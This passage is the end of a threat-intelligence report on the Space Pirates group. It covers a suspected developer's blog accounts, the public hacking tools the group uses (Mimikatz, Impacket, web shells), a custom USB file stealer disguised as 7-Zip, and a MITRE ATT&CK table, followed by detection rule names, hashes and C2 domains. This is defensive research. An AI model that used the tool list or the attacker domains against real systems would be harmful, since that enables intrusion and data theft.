Some of the user's other noteworthy blog posts deal with storing files on GitHub, using IDA Pro and reverse engineering in general, and kernel programming.



Figure 32. Post on storing files on GitHub

The profile description caught our eyes too.

Figure 33. Description of the first account

This mentions another account, abandoned in March 2021.



Figure 34. Second account

This other blog focuses mostly on pentesting, vulnerability analysis, and descriptions of internal Windows mechanics.

By comparing these pieces of information (matching computer names, user names, and relevant skills), we can assume with some confidence that this person is one of the developers of the malware in question, if not the only one.

2.3. Other tools

Besides the backdoors described above, the hackers have made use of the following publicly available network tools:

- Stowaway
- Mimikatz
- fscan
- procdump
- PortQry версии 2.0 Gold
- NetSess
- NBTscan
- PsExec
- KrbRelayUp
- SharpRoast
- nmap
- Impacket
- CHAOS
- reGeorg
- Neo-reGeorg
- Godzilla (web shell)
- xcmdsvc

The group often uses tools written in Golang and obfuscated with Garble. We also found a homebrew utility that is not available publicly and likely has been developed by the Space Pirates group. It monitors connected drives, collecting files from every newly appearing device and creating a new database record. The utility uses the 7z.dll library to pack files into an archive with a name formatted as hh.mm.ss, where hh is the current hour, mm is the current minute, and ss is the current second. All archives are saved to C:\Users\Public\Downloads\dest.

The utility uses two database files: 1.db in place of mutexes and 2.db for logging connected devices. Information about the latest changes to the removable drive contents is stored here as well, so the utility can check if it needs to copy any new files. The program masquerades as the 7-Zip file archiver.

Описание файла	7-Zip client
Тип	Приложение
Версия файла	22.0.0.0
Название продукта	7-Zip
Версия продукта	22.00
Авторские права	Copyright (c) 1999-2022 Igor Pavlov
Размер	1,51 МБ
Дата изменения	23.08.2022 16:50
Язык	Английский (США)
Исходное имя файла	7zcl.exe

Figure 35. Properties of the removable-drive monitoring utility

Conclusion

The Space Pirates group is relentlessly stepping up activity targeting Russian companies: the number of attacks has increased manifold. The hackers are working on new malware that implements unconventional techniques, such as voidoor, and modifying their existing malware. In addition, we have seen a drastic reduction in the use of other backdoors characteristic of the group and an increase in attacks that employ Deed RAT.

The Space Pirates group uses a large number of publicly available tools for navigating networks. The hackers also use Acunetix to reconnoiter infrastructures it targets. Meanwhile, the group's tactics have hardly changed.

The cybercriminals' main goals are still espionage and theft of confidential information, but the group has expanded its interests and the geography of its attacks.

The PT ESC team continues to monitor and respond to threats, including those associated with the Space Pirates group.

Authors: Denis Kuvshinov, Stanislav Rakovsky, Stanislav Pyzhov

Applications

Verdicts by Positive Technologies products

Network rules

10007678 SUSPICIOUS [PTsecurity] TLS Server Certificate (Some-Company Some-State)

10007870 SUSPICIOUS [PTsecurity] Multiple attempting to connect to an external non-http/smtp server

10007917 SUSPICIOUS [PTsecurity] Multiple POST request

10008972 SUSPICIOUS [PTsecurity] GET request in TCP

10008973 SUSPICIOUS [PTsecurity] POST request in TCP

YARA rules

apt_mem_CN_SpacePirates__Backdoor__DeedRAT____EncryptionArtifacts__R1

apt_win86_CN_SpacePirates__Backdoor__Github__And__Voidtools__Backdoor

apt_win86_CN_SpacePirates__Shellcode__From__Github

apt_win_CN_SpacePirates__Trojan__DllLoader

crime_linux_ZZ_Chaos__Backdoor

tool_multi_ZZ_NBTscan__HackTool

tool_multi_ZZ_Stowaway__HackTool

tool_multi_ZZ_fscan__HackTool

tool_win_CN_ShadowPad__Backdoor__NewDecrypt

tool_win_ZZ_GhostPack__HackTool__SharpRoast

tool_win_ZZ_GodzillaShell__Backdoor

tool_win_ZZ_GolangObfuscation__RiskTool__Garble

tool_win_ZZ_KrbRelay__HackTool__Strings

tool_win_ZZ_Mimikatz__HackTool__Generic

tool_win_ZZ_ProcDump__Hacktool

tool_win_ZZ_PsExec__Hacktool

tool_win_ZZ_reGeorg__Backdoor__WebShell

Behavioral rules

Trojan.Win32.Generic.a

Trojan.Win32.Evasion.a

Trojan.Script.Impacket.a

Backdoor.Elf.Chaos.a

Trojan.MachineLearning.Generic.a

Create.Process.ProcDump.CredentialDumping

Create.Process.PortQry.NetworkConnectionsDiscovery

Create.Process.NBTscan.NetworkSniffing

MITRE

ID	Name	Description
Reconnaissance		
T1595.002	Active Scanning: Vulnerability Scanning	The Space Pirates group uses Acunetix to search for vulnerabilities in victim infrastructures
Initial Access		
T1566.001	Phishing: Spearphishing Attachment	Space Pirates uses phishing emails with malicious attachments
T1566.002	Phishing: Spearphishing Link	Space Pirates uses phishing emails with links to malware
Execution		
T1059.003	Command and Scripting Interpreter: Windows Command Shell	Space Pirates malware features remote command shell functionality
T1059.005	Command and Scripting Interpreter: Visual Basic	Space Pirates uses VBS scripts, including ReVBShell

T1106	Native API	Space Pirates malware uses WinAPI functions to run new processes and implement shellcode
T1053.002	Scheduled Task/Job: At (Windows)	Space Pirates uses atexec.py to run commands on a remote host
T1053.005	Scheduled Task/Job: Scheduled Task	Space Pirates uses system tasks
T1569.002	System Services: Service Execution	Space Pirates creates malicious services
Persistence		
T1053.005	Scheduled Task/Job: Scheduled Task	Space Pirates creates system tasks for persistence on the host
T1543.003	Create or Modify System Process: Windows Service	Space Pirates creates malicious services for persistence on the host
T1546.015	Event Triggered Execution: Component Object Model Hijacking	RtlShare malware persists in the system through substitution of the MruPidlList COM object
T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	For persistence on the host, Space Pirates can place a shortcut in the autorun folder and use the Run and RunOnce registry keys
Privilege Escalation		
T1548.002	Abuse Elevation Control Mechanism: Bypass User Account Control	Space Pirates malware contains various techniques for bypassing UAC
T1068	Exploitation for Privilege Escalation	Space Pirates can exploit the CVE-2017-0213 vulnerability for privilege escalation
Defense Evasion		
T1027.001	Obfuscated Files or Information: Binary Padding	The RtlShare dropper adds random bytes to the extracted payload
T1027.002	Obfuscated Files or Information: Software Packing	One of the stages of the BH_A006 malware is obfuscated using an unknown protector
T1036.004	Masquerading: Masquerade Task or Service	Space Pirates uses legitimate-looking names when creating services
T1036.005	Masquerading: Match Legitimate Name or Location	Space Pirates masks its malware as legitimate software

T1055	Process Injection	Space Pirates malware can inject shellcode into other processes
T1055.001	Process Injection: Dynamic-link Library Injection	Space Pirates malware can inject DLLs with payload into other processes
T1078.002	Valid Accounts: Domain Accounts	Space Pirates uses compromised privileged credentials
T1112	Modify Registry	Deed RAT stores all its data in the registry, including configuration and plugins
T1140	Deobfuscate/Decode Files or Information	Space Pirates malware uses various algorithms to encrypt configuration data and payload
T1197	BITS Jobs	Space Pirates uses BITS jobs to download malware
T1218.011	Signed Binary Proxy Execution: Rundll32	Space Pirates can use rundll32.exe to run DLLs
T1553.002	Subvert Trust Controls: Code Signing	Space Pirates uses stolen certificates to sign some Zupdax instances
T1564.001	Hide Artifacts: Hidden Files and Directories	Space Pirates can store its malware in hidden folders at C:\ProgramData
T1574.002	Hijack Execution Flow: DLL Side-Loading	Space Pirates uses legitimate applications vulnerable to DLL side-loading
T1620	Reflective Code Loading	Space Pirates malware uses reflective loading to run payloads in memory
Credential Access		
T1555.003	Credentials from Password Stores: Credentials from Web Browsers	Space Pirates uses the Chromepass tool to retrieve passwords from Chrome browser storage
T1003.001	OS Credential Dumping: LSASS Memory	Space Pirates gets LSASS process dumps for further credential dumping
T1040	Network Sniffing	Deed RAT collects information about in-use proxies through network sniffing
Discovery		
T1087.001	Account Discovery: Local Account	Space Pirates collects information about users through the query user command

T1087.002	Account Discovery: Domain Account	Space Pirates collects information about users in the domain through the legitimate CSVDE tool
T1082	System Information Discovery	Space Pirates malware collects system information, including OS version, CPU, memory, and disk information
T1614.001	System Location Discovery: System Language Discovery	Deed RAT gets the language code identifier (LCID) during system information collection
T1016	System Network Configuration Discovery	Space Pirates collects information about the network settings of the infected machine
T1069.002	Permission Groups Discovery: Domain Groups	Space Pirates collects information about groups in the domain through the legitimate CSVDE tool
T1083	File and Directory Discovery	Space Pirates collects information about .doc and .pdf files in the system
T1033	System Owner/User Discovery	Space Pirates collects information about users of compromised computers
T1057	Process Discovery	Space Pirates uses the tasklist.exe tool to retrieve process information
Lateral Movement		
T1021.002	Remote Services: SMB/Windows Admin Shares	Space Pirates uses the atexec.py and psexec.rb tools to move through the network
Collection		
T1119	Automated Collection	Space Pirates searches for and copies files with the masks *.doc and *.pdf
T1560.001	Archive Collected Data: Archive via Utility	Space Pirates zips stolen documents into password-protected archives using 7-Zip
T1056.001	Input Capture: Keylogging	Space Pirates malware can capture user input
Command and Control		
T1071.001	Application Layer Protocol: Web Protocols	Deed RAT может инкапсулировать свой протокол в HTTP и HTTPS

T1071.004: DNS	Non-Application Layer Protocol T1095	Deed RAT can encapsulate its protocol in DNS
T1132.001	Data Encoding: Standard Encoding	Space Pirates malware can compress network messages using the LZNT1 and LZW algorithms
T1573.001	Encrypted Channel: Symmetric Cryptography	Space Pirates malware can encrypt network messages using symmetric algorithms
T1008	Fallback Channels	Space Pirates malware supports multiple C2s and can update the C2 list through web pages
T1095	Non-Application Layer Protocol	Space Pirates malware uses its own protocols to communicate with the C2 server
T1102.002	Web Service: Bidirectional Communication	Space Pirates malware uses a combination of the voidtools forum and GitHub as the C&C server
T1105	Ingress Tool Transfer	Space Pirates downloads additional utilities from the C2 server using the certutil tool
T1571	Non-Standard Port	Space Pirates uses non-standard ports, such as 8081, 5351, 63514, etc., to communicate with the C2 server
T1572	Protocol Tunneling	The Space Pirates group uses the dog-tunnel utility for traffic tunneling
T1090.001	Proxy: Internal Proxy	Deed RAT can discover and use proxies to connect to its C&C

IOCs

File indicators

Deed RAT

b6860214fcc1ef17937e82b1333672afa5fcf1c1b394a0c7c0447357477fe7c9	3f8ee1e875cbb01e145a09db7d857b6be22bdd92	972a1a6f17756d
212f750a1d38921b83e68e142ee4ae1c7b612bf11c99210da60775f17c85a83e	f99f5f397fe1abb3fc25cc99fe95952fe24b6123	51ca39e3700e9e
6cfa8ce876c09f7e24af17bbe9baa97f089e9bf478a47d18417e399e64a18d40	1fb924ec4f0ab73a952f2a3cb624b94933275d1b	b0b438bcb2a712
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Voidoor

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USB stealer

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Stowaway

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CHAOS

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0077.x24hr.com
alex.dnset.com
amazon-corp.wikaba.com
api.microft.dynssl.com
apple-corp.changeip.org
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